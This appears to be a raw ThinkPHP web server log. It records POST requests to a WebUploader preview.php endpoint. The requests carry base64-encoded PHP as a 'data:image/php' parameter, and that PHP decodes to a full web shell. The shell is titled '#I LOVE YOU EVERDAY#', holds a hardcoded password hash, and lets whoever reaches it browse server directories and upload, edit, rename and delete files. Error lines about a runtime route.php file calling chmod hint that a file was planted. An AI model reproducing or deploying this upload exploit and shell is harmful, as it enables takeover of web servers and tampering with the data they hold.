jwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'plugins' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:40+08:00 ] 119.42.146.234 POST 51tianwei.com/static/common/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002591s] [吞吐率:385.97req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsN